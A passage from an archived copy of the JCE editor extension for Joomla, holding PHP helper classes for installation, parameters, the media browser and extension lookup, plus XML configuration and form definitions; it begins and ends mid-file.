                    throw new Exception(Text::sprintf('WF_INSTALLER_REMOVE_FROM_GROUP_ERROR', $plugin->name));
                }
            }
        }

        return true;
    }

    /**
     * Add index.html files to each folder.
     */
    private static function addIndexfiles($path)
    {
        // get the base file
        $file = JPATH_ADMINISTRATOR . '/components/com_jce/index.html';

        if (is_file($file) && is_dir($path)) {
            File::copy($file, $path . '/' . basename($file));

            // admin component
            $folders = Folder::folders($path, '.', true, true);

            foreach ($folders as $folder) {
                File::copy($file, $folder . '/' . basename($file));
            }
        }
    }

    public static function postInstall($route, $plugin, $installer)
    {
        $db = Factory::getDBO();

        // load the plugin and enable
        if (isset($plugin->row) && $plugin->row > 0) {
            $query = $db->getQuery(true);

            $query->select('id')->from('#__wf_profiles')->where('name = ' . $db->Quote('Default') . ' OR id = 1');

            $db->setQuery($query);
            $id = $db->loadResult();

            if ($id) {
                if ($route == 'install') {
                    // add to profile
                    self::addToProfile($id, $plugin);
                } else {
                    // remove from profile
                    self::removeFromProfile($id, $plugin);
                }
            }
        }

        if ($route == 'install') {
            if ($plugin->type == 'extension') {
                $plugin->path = $plugin->path . '/' . $plugin->name;
            }

            // add index.html files
            self::addIndexfiles($plugin->path);
        }

        return true;
    }
}
com_jce/helpers/parameter.php000060400000001724152455305310012301 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

abstract class WFParameterHelper
{
	/**
	 * Convert JSON data to JParameter Object
	 * @param $data JSON data
	 */
	public static function toObject($data) 
	{
		$param = new WFParameter('');
		$param->bind($data);

		return $param->getData();
	}
	
	public static function getComponentParams($key = '', $path = '')
	{
		require_once(JPATH_COMPONENT_ADMINISTRATOR . '/classes/parameter.php');		
		$component = JComponentHelper::getComponent('com_jce');
		
		return new WFParameter($component->params, $path, $key);
	}
}com_jce/helpers/browser.php000060400000012370152455305310012003 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;

JLoader::register('WFApplication', JPATH_ADMINISTRATOR . '/components/com_jce/helpers/browser.php');

abstract class WfBrowserHelper
{
    public static function getBrowserLink($element = null, $mediatype = '', $callback = '', $options = array())
    {
        $options = array_merge($options, array(
            'element' => $element,
            'mediatype' => $mediatype,
            'callback' => $callback,
        ));

        $url = self::getMediaFieldUrl($options);

        return $url;
    }

    public static function getMediaFieldLink($element = null, $mediatype = 'images', $callback = '')
    {
        $url = self::getMediaFieldUrl(array(
            'element' => $element,
            'mediatype' => $mediatype,
            'callback' => $callback,
        ));

        return $url;
    }

    public static function isMediaFieldEnabled()
    {
        static $enabled = null;

        if ($enabled !== null) {
            return $enabled;
        }

        require_once JPATH_SITE . '/components/com_jce/editor/libraries/classes/application.php';

        $wf = WFApplication::getInstance();
        $profile = $wf->getActiveProfile(['plugin' => 'browser']);

        $enabled = $profile ? (bool) $wf->getParam('browser.mediafield_enable', 1) : false;

        return $enabled;
    }

    public static function getMediaFieldUrl($options = array())
    {
        $app = Factory::getApplication();
        $token = Factory::getSession()->getFormToken();

        // get component params to check for media field conversion
        $componentParams = ComponentHelper::getParams('com_jce');

        if (!isset($options['element'])) {
            $options['element'] = null;
        }

        if (!isset($options['mediatype'])) {
            $options['mediatype'] = 'images';
        }

        if (!isset($options['callback'])) {
            $options['callback'] = '';
        }

        if (!isset($options['converted'])) {
            $options['converted'] = false;
        }

        if (!isset($options['mediafolder'])) {
            $options['mediafolder'] = '';
        }

        if (self::isMediaFieldEnabled() === false) {
            return '';
        }

        // get editor instance
        $wf = WFApplication::getInstance();

        // set base url
        $url = 'index.php?option=com_jce&task=plugin.display';

        // add default context
        if (empty($options['context'])) {
            $options['context'] = $wf->getContext();
        }

        // append "caller" plugin
        if (!empty($options['plugin'])) {
            if (strpos($options['plugin'], 'browser') === false) {
                $options['plugin'] = 'browser.' . $options['plugin'];
            }
        } else {
            $options['plugin'] = 'browser';
        }

        $options['standalone'] = 1;
        $options[$token] = 1;
        $options['client'] = $app->getClientId();

        // filter options values
        $options = array_filter($options, function ($value) {
            if (is_array($value)) {
                return !empty($value);
            }

            return $value !== '' && $value !== null;
        });

        $url .= '&' . http_build_query($options);

        return $url;
    }

    public static function getMediaFieldOptions($options = array())
    {
        if (self::isMediaFieldEnabled() === false) {
            return $options;
        }

        $app = Factory::getApplication();

        // get component params to check for media field conversion
        $componentParams = ComponentHelper::getParams('com_jce');

        // merge default options
        $options = array_merge(array(
            'upload' => 0,
            'select_button' => 1,
            'convert' => 0,
            'mediafields' => array(),
        ), $options);

        // get editor instance
        $wf = WFApplication::getInstance();
        $profile = $wf->getActiveProfile(['plugin' => 'browser']);

        // is conversion enabled?
        $options['convert'] = (int) $componentParams->get('replace_media_manager', 1) && (int) $wf->getParam('browser.mediafield_conversion', 1);

        // add default context
        $options['context'] = $wf->getContext();

        // get allowed extensions
        $accept = $wf->getParam('browser.extensions', 'jpg,jpeg,png,gif,mp3,m4a,mp4a,ogg,mp4,mp4v,mpeg,mov,webm,doc,docx,odg,odp,ods,odt,pdf,ppt,pptx,txt,xcf,xls,xlsx,csv,zip,tar,gz');

        $options['accept'] = array_map(function ($value) {
            if ($value[0] != '-') {
                return $value;
            }
        }, explode(',', $accept));

        $options['accept'] = implode(',', array_filter($options['accept']));
        $options['upload'] = (int) $wf->getParam('browser.mediafield_upload', 1);
        $options['select_button'] = (int) $wf->getParam('browser.mediafield_select_button', 1);

        $app->triggerEvent('onWfMediaFieldGetOptions', array(&$options, $profile));

        return $options;
    }
}
com_jce/helpers/extension.php000060400000006314152455305310012335 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2017 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
abstract class WFExtensionHelper
{
    protected static $component = array();
    protected static $plugin = array();

    public static function getComponent($id = null, $option = 'com_jce')
    {
        if (!isset(self::$component)) {
            self::$component = array();
        }

        $options = array($option);

        if (isset($id)) {
            $options[] = $id;
        }

        $signature = serialize($options);

        if (!isset(self::$component[$signature])) {
            if (defined('JPATH_PLATFORM')) {
                // get component table
                $component = JTable::getInstance('extension');

                if (!$id) {
                    $id = $component->find(array('type' => 'component', 'element' => $option));
                }

                $component->load($id);
            } else {
                // get component table
                $component = JTable::getInstance('component');

                if ($id) {
                    $component->load($id);
                } else {
                    $component->loadByOption($option);
                }
            }

            self::$component[$signature] = $component;
        }

        return self::$component[$signature];
    }

    public static function getPlugin($id = null, $element = 'jce', $folder = 'editors')
    {
        if (!isset(self::$plugin)) {
            self::$plugin = array();
        }

        $options = array($element, $folder);

        if (isset($id)) {
            $options[] = $id;
        }

        $signature = serialize($options);

        if (!isset(self::$plugin[$signature])) {
            if (defined('JPATH_PLATFORM')) {
                // get component table
                $plugin = JTable::getInstance('extension');

                if (!$id) {
                    $id = $plugin->find(array('type' => 'plugin', 'folder' => $folder, 'element' => $element));
                }

                $plugin->load($id);
                // map extension_id to id
                $plugin->id = $plugin->extension_id;

                // store result
                self::$plugin[$signature] = $plugin;
            } else {
                $plugin = JTable::getInstance('plugin');

                if (!$id) {
                    $db = JFactory::getDBO();
                    $query = 'SELECT id FROM #__plugins'.' WHERE folder = '.$db->Quote($folder);

                    if ($element) {
                        $query .= ' AND element = '.$db->Quote($element);
                    }

                    $db->setQuery($query);
                    $id = $db->loadResult();
                }

                $plugin->load($id);

                // store result
                self::$plugin[$signature] = $plugin;
            }
        }

        return self::$plugin[$signature];
    }
}
com_jce/helpers/index.html000060400000000054152455305310011600 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/config.xml000060400000004214152455305310010132 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
    <fieldset name="permissions" label="JCONFIG_PERMISSIONS_LABEL" description="JCONFIG_PERMISSIONS_DESC">
        <field name="rules" type="rules" label="JCONFIG_PERMISSIONS_LABEL" class="inputbox" filter="rules" component="com_jce" section="component" />
    </fieldset>

    <fieldset name="standard" label="WF_PREFERENCES_STANDARD">

        <field name="custom_help" type="radio" default="0" label="WF_HELP_CUSTOM" class="btn-group btn-group-yesno" description="WF_HELP_CUSTOM_DESC">
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

        <field name="help_url" type="text" size="50" default="" label="WF_HELP_URL" description="WF_HELP_URL_DESC" showon="custom_help:1" />

        <field name="help_method" type="list" default="reference" label="WF_HELP_URL_METHOD" description="WF_HELP_URL_METHOD_DESC" showon="custom_help:1">
            <option value="reference">WF_HELP_URL_KEYREFERENCE</option>
            <option value="sef">WF_HELP_URL_SEF</option>
        </field>

        <field name="help_pattern" type="text" size="50" default="" hint="/$1/$2/$3" label="WF_HELP_PATTERN" description="WF_HELP_PATTERN_DESC" showon="help_method:sef" />

        <field name="feed" type="radio" default="0" label="WF_CPANEL_FEED" description="WF_CPANEL_FEED_DESC" class="btn-group btn-group-yesno">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </field>

        <field name="feed_limit" type="list" default="2" label="WF_CPANEL_FEED_LIMIT" description="WF_CPANEL_FEED_LIMIT_DESC">
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            <option value="5">5</option>
        </field>

        <field name="inline_help" type="radio" default="1" label="WF_ADMIN_INLINE_HELP" description="WF_ADMIN_INLINE_HELP_DESC" class="btn-group btn-group-yesno">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </field>

    </fieldset>
</config>
com_jce/jce.xml000060400000005773152455305310007441 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<extension type="component" version="3.10" method="upgrade">
    <name>COM_JCE</name>
    <author>Ryan Demmer</author>
    <creationDate>22-04-2026</creationDate>
    <copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>www.joomlacontenteditor.net</authorUrl>
    <version>2.9.99.2</version>
    <description>COM_JCE_XML_DESCRIPTION</description>

    <files folder="components/com_jce">
        <folder>editor</folder>
        <folder>views</folder>
        <file>jce.php</file>
    </files>

    <!-- Component Media -->
    <media folder="media/com_jce" destination="com_jce">
        <folder>admin</folder>
        <folder>editor</folder>
        <folder>site</folder>
    </media>

    <languages folder="language/en-GB">
        <language tag="en-GB">en-GB.com_jce.ini</language>
        
    </languages>

    <!-- SQL query files to execute on installation -->
    <install>
        <sql>
            <file charset="utf8" driver="mysql">sql/mysql.sql</file>
            <file charset="utf8" driver="mysqli">sql/mysql.sql</file>
            <file charset="utf8" driver="sqlsrv">sql/sqlsrv.sql</file>
            <file charset="utf8" driver="sqlzure">sql/sqlsrv.sql</file>
            <file charset="utf8" driver="sqlazure">sql/sqlsrv.sql</file>
            <file charset="utf8" driver="postgresql">sql/postgresql.sql</file>
            <file charset="utf8" driver="pgsql">sql/postgresql.sql</file>
        </sql>
    </install>

    <administration>
        <menu view="cpanel" link="option=com_jce">COM_JCE</menu>

        <submenu>
            <menu view="cpanel" link="option=com_jce&amp;view=cpanel">COM_JCE_MENU_CPANEL</menu>
            <menu view="config" link="option=com_jce&amp;view=config">COM_JCE_MENU_CONFIG</menu>
            <menu view="profiles" link="option=com_jce&amp;view=profiles">COM_JCE_MENU_PROFILES</menu>
            <menu view="profiles" link="option=com_jce&amp;view=browser">COM_JCE_MENU_FILEBROWSER</menu>
        </submenu>

        <files folder="administrator/components/com_jce">
            <folder>controller</folder>
            <folder>helpers</folder>
            <folder>includes</folder>
            <folder>layouts</folder>
            <folder>models</folder>
            <folder>sql</folder>
            <folder>tables</folder>
            <folder>vendor</folder>
            <folder>views</folder>
            <file>access.xml</file>
            <file>config.xml</file>
            <file>controller.php</file>
            <file>index.html</file>
            <file>jce.php</file>
            <file>LICENSE.txt</file>
        </files>

        <languages folder="administrator/language/en-GB">
            <language tag="en-GB">en-GB.com_jce.ini</language>
            <language tag="en-GB">en-GB.com_jce.sys.ini</language>
        </languages>

    </administration>
</extension>
com_jce/models/forms/styleformat.xml000060400000010156152455305310013651 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
    <fields>
        <fieldset>

            <field name="title" type="text" default="" hint="WF_STYLEFORMAT_TITLE" label="" hiddenLabel="true" />

            <field name="element" type="groupedlist" default="" label="WF_STYLEFORMAT_ELEMENT" description="WF_STYLEFORMAT_ELEMENT_DESC">
                <option value="" selected="selected">WF_OPTION_SELECTED_ELEMENT</option>
                <group label="WF_OPTION_SECTION_ELEMENTS">
                    <option value="section">section</option>
                    <option value="nav">nav</option>
                    <option value="article">article</option>
                    <option value="aside">aside</option>
                    <option value="h1">h1</option>
                    <option value="h2">h2</option>
                    <option value="h3">h3</option>
                    <option value="h4">h4</option>
                    <option value="h5">h5</option>
                    <option value="h6">h6</option>
                    <option value="header">header</option>
                    <option value="footer">footer</option>
                    <option value="address">address</option>
                    <option value="main">main</option>
                </group>
                <group label="WF_OPTION_GROUPING_ELEMENTS">
                    <option value="p">p</option>
                    <option value="pre">pre</option>
                    <option value="blockquote">blockquote</option>
                    <option value="figure">figure</option>
                    <option value="figcaption">figcaption</option>
                    <option value="div">div</option>
                </group>
                <group label="WF_OPTION_TEXT_LEVEL_ELEMENTS">
                    <option value="a">a</option>
                    <option value="em">em</option>
                    <option value="strong">strong</option>
                    <option value="small">small</option>
                    <option value="s">s</option>
                    <option value="cite">cite</option>
                    <option value="q">q</option>
                    <option value="dfn">dfn</option>
                    <option value="abbr">abbr</option>
                    <option value="data">data</option>
                    <option value="time">time</option>
                    <option value="code">code</option>
                    <option value="var">var</option>
                    <option value="samp">samp</option>
                    <option value="kbd">kbd</option>
                    <option value="sub">sub</option>
                    <option value="i">i</option>
                    <option value="b">b</option>
                    <option value="u">u</option>
                    <option value="mark">mark</option>
                    <option value="ruby">ruby</option>
                    <option value="rt">rt</option>
                    <option value="rp">rp</option>
                    <option value="bdi">bdi</option>
                    <option value="bdo">bdo</option>
                    <option value="span">span</option>
                    <option value="wbr">wbr</option>
                </group>
                <group label="WF_OPTION_FORM_ELEMENTS">
                    <option value="form">form</option>
                    <option value="input">input</option>
                    <option value="button">button</option>
                    <option value="fieldset">fieldset</option>
                    <option value="legend">legend</option>
                </group>
            </field>

            <field name="styles" type="text" default="" label="WF_STYLEFORMAT_STYLES" description="WF_STYLEFORMAT_STYLES_DESC" />
            <field name="attributes" type="text" default="" label="WF_STYLEFORMAT_ATTRIBUTES" description="WF_STYLEFORMAT_ATTRIBUTES_DESC" />
            <field name="selector" type="text" default="" label="WF_STYLEFORMAT_SELECTOR" description="WF_STYLEFORMAT_SELECTOR_DESC" />
            <field name="classes" type="text" default="" label="WF_STYLEFORMAT_CLASSES" description="WF_STYLEFORMAT_CLASSES_DESC" />

        </fieldset>

    </fields>
</form>com_jce/models/forms/filter_profiles.xml000060400000005167152455305310014476 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_jce/models/fields" />

	<fields name="filter">
		<field
			name="search"
			type="text"
			label="COM_PLUGINS_FILTER_SEARCH_LABEL"
			description="COM_PLUGINS_SEARCH_IN_TITLE"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="JOPTION_SELECT_PUBLISHED"
			description="JOPTION_SELECT_PUBLISHED_DESC"
			onchange="this.form.submit();"
			filter="0,1"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="area"
			type="list"
			label="WF_PROFILES_AREA"
			description="WF_PROFILES_AREA_DESC"
			onchange="this.form.submit();"
			>
			<option value="">WF_PROFILES_AREA_FILTER_SELECT</option>
			<option value="1">WF_PROFILES_AREA_FRONTEND</option>
            <option value="2">WF_PROFILES_AREA_BACKEND</option>
		</field>

		<field
			name="device"
			type="list"
			label="WF_PROFILES_DEVICE"
			description="WF_PROFILES_DEVICE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">WF_PROFILES_DEVICE_FILTER_SELECT</option>
			<option value="phone">WF_PROFILES_DEVICE_PHONE</option>
            <option value="tablet">WF_PROFILES_DEVICE_TABLET</option>
            <option value="desktop">WF_PROFILES_DEVICE_DESKTOP</option>
		</field>

		<field
			name="components"
			type="components"
			label="WF_PROFILES_COMPONENTS"
			description="WF_PROFILES_COMPONENTS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">WF_PROFILES_COMPONENTS_FILTER_SELECT</option>
		</field>

		<field
			name="usergroups"
			type="usergrouplist"
			label="WF_PROFILES_GROUPS"
			description="WF_PROFILES_GROUPS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">WF_PROFILES_GROUPS_FILTER_SELECT</option>
		</field>

	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="folder ASC"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="published ASC">JSTATUS_ASC</option>
			<option value="published DESC">JSTATUS_DESC</option>
			<option value="name ASC">JGLOBAL_TITLE_ASC</option>
			<option value="name DESC">JGLOBAL_TITLE_DESC</option>
			<option value="id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>com_jce/models/forms/config.xml000060400000013465152455305310012553 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
    <fields name="params">
        <fieldset name="config" label="Global Configuration">

            <field name="verify_html" type="radio" default="1" label="WF_PARAM_CLEANUP" description="WF_PARAM_CLEANUP_DESC" class="btn-group btn-group-yesno" filter="integer">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="sanitize_html" type="radio" default="1" label="WF_PARAM_SANITIZE_HTML" description="WF_PARAM_SANITIZE_HTML_DESC" class="btn-group btn-group-yesno" filter="integer">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="schema" type="list" default="mixed" label="WF_PARAM_DOCTYPE" description="WF_PARAM_DOCTYPE_DESC">
                <option value="html4">HTML4</option>
                <option value="mixed">WF_PARAM_DOCTYPE_MIXED</option>
                <option value="html5">HTML5</option>
            </field>

            <field name="entity_encoding" type="list" default="raw" label="WF_PARAM_ENTITY_ENCODING" description="WF_PARAM_ENTITY_ENCODING_DESC">
                <option value="raw">UTF-8</option>
                <option value="named">WF_PARAM_NAMED</option>
                <option value="numeric">WF_PARAM_NUMERIC</option>
            </field>

            <field name="keep_nbsp" type="radio" default="1" label="WF_PARAM_KEEP_NBSP" description="WF_PARAM_KEEP_NBSP_DESC" class="btn-group btn-group-yesno" filter="integer">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="pad_empty_tags" type="radio" default="1" label="WF_PARAM_PAD_EMPTY_TAGS" description="WF_PARAM_PAD_EMPTY_TAGS_DESC" class="btn-group btn-group-yesno" filter="integer">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="spacer1" type="spacer" hr="true" />

            <field name="forced_root_block" type="list" default="p" label="WF_PARAM_ROOT_BLOCK" description="WF_PARAM_ROOT_BLOCK_DESC">
                <option value="p">WF_OPTION_PARAGRAPH</option>
                <option value="div">WF_OPTION_DIV</option>
                <option value="forced_root_block:p|force_block_newlines:0">WF_OPTION_PARAGRAPH_LINEBREAK</option>
                <option value="forced_root_block:div|force_block_newlines:0">WF_OPTION_DIV_LINEBREAK</option>

                <option value="forced_root_block:0|force_block_newlines:1">WF_OPTION_PARAGRAPH_MIXED</option>
                <option value="0">WF_OPTION_LINEBREAK</option>
            </field>

            <field name="content_style_reset" type="list" default="auto" label="WF_PARAM_EDITOR_STYLE_RESET" description="WF_PARAM_EDITOR_STYLE_RESET_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
                <option value="auto">WF_OPTION_AUTO</option>
            </field>

            <field name="content_css" type="list" default="1" label="WF_PARAM_EDITOR_GLOBAL_CSS" description="WF_PARAM_EDITOR_GLOBAL_CSS_DESC" filter="integer">
                <option value="0">WF_PARAM_CSS_CUSTOM</option>
                <option value="1">WF_PARAM_CSS_TEMPLATE</option>
                <option value="2">WF_OPTION_DEFAULT</option>
            </field>

            <field name="content_css_custom" type="repeatable" default="" label="WF_PARAM_CSS_CUSTOM" description="WF_PARAM_CSS_CUSTOM_DESC" showon="content_css:0">
                <field type="text" size="50" hiddenLabel="true" hint="eg: templates/$template/css/content.css" />
            </field>

            <!--field name="content_css_custom" type="textarea" rows="2" class="input-xlarge" default="" hint="eg: templates/$template/css/content.css" label="WF_PARAM_CSS_CUSTOM" description="WF_PARAM_CSS_CUSTOM_DESC" showon="content_css:0" /-->
            <field name="body_class" type="text" default="" placeholder="eg: content" label="WF_PARAM_EDITOR_BODY_CLASS" description="WF_PARAM_EDITOR_BODY_CLASS_DESC" />

            <field name="spacer2" type="spacer" hr="true" />

            <field name="compress_javascript" type="radio" default="0" label="WF_PARAM_COMPRESS_JAVASCRIPT" description="WF_PARAM_COMPRESS_JAVASCRIPT_DESC" class="btn-group btn-group-yesno" filter="integer">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="compress_css" type="radio" default="0" label="WF_PARAM_COMPRESS_CSS" description="WF_PARAM_COMPRESS_CSS_DESC" class="btn-group btn-group-yesno" filter="integer">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="compress_cache_validation" type="radio" default="1" label="WF_PARAM_COMPRESS_CACHE_VALIDATION" description="WF_PARAM_COMPRESS_CACHE_VALIDATION_DESC" class="btn-group btn-group-yesno" filter="integer">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="spacer3" type="spacer" hr="true" />

            <field name="use_cookies" type="radio" default="1" label="WF_PARAM_USE_COOKIES" description="WF_PARAM_USE_COOKIES_DESC" class="btn-group btn-group-yesno" filter="integer">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="custom_config" type="keyvalue" default="" label="WF_PARAM_CUSTOM_CONFIG" description="WF_PARAM_CUSTOM_CONFIG_DESC">
                <field type="text" name="name" label="WF_PROFILES_CUSTOM_KEY" />
                <field type="text" name="value" label="WF_PROFILES_CUSTOM_VALUE" />
            </field>

        </fieldset>
    </fields>
</form>com_jce/models/forms/profile.xml000060400000005135152455305310012741 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
    <fields>
        <fieldset name="setup">
            <field name="name" type="text" class="input-xxlarge input-large-text" size="40" label="JGLOBAL_TITLE" description="WF_PROFILES_NAME_DESC" required="true" />
            
            <field name="description" type="text" class="input-xxlarge" label="JGLOBAL_DESCRIPTION" description="WF_PROFILES_DESCRIPTION_DESC" />
            
            <field name="published" type="radio" label="JSTATUS" description="WF_PROFILES_ENABLED_DESC" class="btn-group btn-group-yesno" default="1">
                <option value="1">JPUBLISHED</option>
                <option value="0">JUNPUBLISHED</option>
            </field>

            <field name="ordering" type="Profileordering" label="JFIELD_ORDERING_LABEL" description="JFIELD_ORDERING_DESC"/>

            <field name="id" type="hidden" default="0" />
        </fieldset>
        
        <fieldset name="assignment" addfieldpath="/administrator/components/com_jce/models/fields">
            <field name="area" type="checkboxes" multiple="multiple" class="inline" label="WF_PROFILES_AREA" description="WF_PROFILES_AREA_DESC" checked="1,2">
                <option value="1">WF_PROFILES_AREA_FRONTEND</option>
                <option value="2">WF_PROFILES_AREA_BACKEND</option>
            </field>
            
            <field name="device" type="checkboxes" multiple="multiple" class="inline" label="WF_PROFILES_DEVICE" description="WF_PROFILES_DEVICE_DESC" checked="desktop,tablet,phone">
                <option value="phone">WF_PROFILES_DEVICE_PHONE</option>
                <option value="tablet">WF_PROFILES_DEVICE_TABLET</option>
                <option value="desktop">WF_PROFILES_DEVICE_DESKTOP</option>
            </field>

            <field name="components_select" type="radio" label="WF_PROFILES_COMPONENTS" description="WF_PROFILES_COMPONENTS_DESC" class="extensions-select" default="0">
                <option value="0">WF_PROFILES_COMPONENTS_ALL</option>
                <option value="1">WF_PROFILES_COMPONENTS_SELECT</option>
            </field>

            <field name="components" type="componentslist" multiple="multiple" label="" layout="joomla.form.field.list-fancy-select" />
 
            <field name="types" type="usergrouplist" multiple="multiple" label="WF_PROFILES_GROUPS" description="WF_PROFILES_GROUPS_DESC" layout="joomla.form.field.list-fancy-select" />
            <field name="users" type="users" multiple="multiple" label="WF_PROFILES_USERS" description="WF_PROFILES_USERS_DESC" />

        </fieldset>
    </fields>
    <fields name="config"></fields>
</form>com_jce/models/forms/editor.xml000060400000043120152455305310012563 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
    <fields name="editor">
        <fieldset name="editor.features" addfieldpath="/administrator/components/com_categories/models/fields">
            <field name="width" type="text" size="5" default="" placeholder="auto" label="WF_PARAM_EDITOR_WIDTH" description="WF_PARAM_EDITOR_WIDTH_DESC" />
            <field name="height" type="text" size="5" default="" placeholder="auto" label="WF_PARAM_EDITOR_HEIGHT" description="WF_PARAM_EDITOR_HEIGHT_DESC" />
            <field name="toolbar_theme" type="list" default="modern" label="WF_PARAM_EDITOR_TOOLBAR_THEME" description="WF_PARAM_EDITOR_TOOLBAR_THEME_DESC">
                <option value="modern">WF_PARAM_EDITOR_SKIN_RETINA</option>
                <option value="modern.touch">WF_PARAM_EDITOR_SKIN_RETINA_TOUCH</option>
                <option value="modern.dark">WF_PARAM_EDITOR_SKIN_RETINA_DARK</option>
                <option value="default">WF_PARAM_EDITOR_SKIN_CLASSIC</option>
                <option value="default.touch">WF_PARAM_EDITOR_SKIN_CLASSIC_TOUCH</option>
                <option value="o2k7">WF_PARAM_EDITOR_SKIN_OFFICE_BLUE</option>
                <option value="o2k7.silver">WF_PARAM_EDITOR_SKIN_OFFICE_SILVER</option>
                <option value="o2k7.black">WF_PARAM_EDITOR_SKIN_OFFICE_BLACK</option>
            </field>
            <field name="toolbar_align" type="list" default="left" label="WF_PARAM_EDITOR_TOOLBAR_ALIGN" description="WF_PARAM_EDITOR_TOOLBAR_ALIGN_DESC">
                <option value="left">WF_OPTION_LEFT</option>
                <option value="center">WF_OPTION_CENTER</option>
                <option value="right">WF_OPTION_RIGHT</option>
            </field>
            <field name="toolbar_location" type="list" default="top" label="WF_PARAM_EDITOR_TOOLBAR_LOCATION" description="WF_PARAM_EDITOR_TOOLBAR_LOCATION_DESC">
                <option value="top">WF_OPTION_TOP</option>
                <option value="bottom">WF_OPTION_BOTTOM</option>
            </field>
            <field name="statusbar_location" type="list" default="bottom" label="WF_PARAM_EDITOR_STATUSBAR_LOCATION" description="WF_PARAM_EDITOR_STATUSBAR_LOCATION_DESC">
                <option value="top">WF_OPTION_TOP</option>
                <option value="bottom">WF_OPTION_BOTTOM</option>
                <option value="none">JNONE</option>
            </field>
            <field name="path" type="yesno" default="1" label="WF_PARAM_EDITOR_PATH" description="WF_PARAM_EDITOR_PATH_DESC" showon="statusbar_location:top[OR]statusbar_location:bottom">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="wordcount" type="yesno" default="1" label="WF_PARAM_EDITOR_WORDCOUNT" description="WF_PARAM_EDITOR_WORDCOUNT_DESC" showon="statusbar_location:top[OR]statusbar_location:bottom">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="resizing" type="list" default="1" label="WF_PARAM_EDITOR_RESIZING" description="WF_PARAM_EDITOR_RESIZING_DESC" showon="statusbar_location:top[OR]statusbar_location:bottom">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="resize_horizontal" type="yesno" default="1" label="WF_PARAM_EDITOR_RESIZE_HORIZONTAL" description="WF_PARAM_EDITOR_RESIZE_HORIZONTAL_DESC" showon="resizing:1">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="xtd_buttons" type="yesno" default="1" label="WF_PARAM_EDITOR_XTD_BUTTONS" description="WF_PARAM_EDITOR_XTD_BUTTONS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="active_tab" type="list" default="wysiwyg" label="WF_PARAM_EDITOR_ACTIVE_TAB" description="WF_PARAM_EDITOR_ACTIVE_TAB_DESC">
                <option value="wysiwyg">WF_PARAM_EDITOR_ACTIVE_TAB_WYSIWYG</option>
                <option value="source">WF_PARAM_EDITOR_ACTIVE_TAB_CODE</option>
                <option value="preview">WF_PARAM_EDITOR_ACTIVE_TAB_PREVIEW</option>
            </field>
        </fieldset>
        <fieldset name="editor.setup">
            <field name="convert_urls" type="list" default="relative" label="WF_PARAM_EDITOR_CONVERT_URLS" description="WF_PARAM_EDITOR_CONVERT_URLS_DESC">
                <option value="none">WF_OPTION_NONE</option>
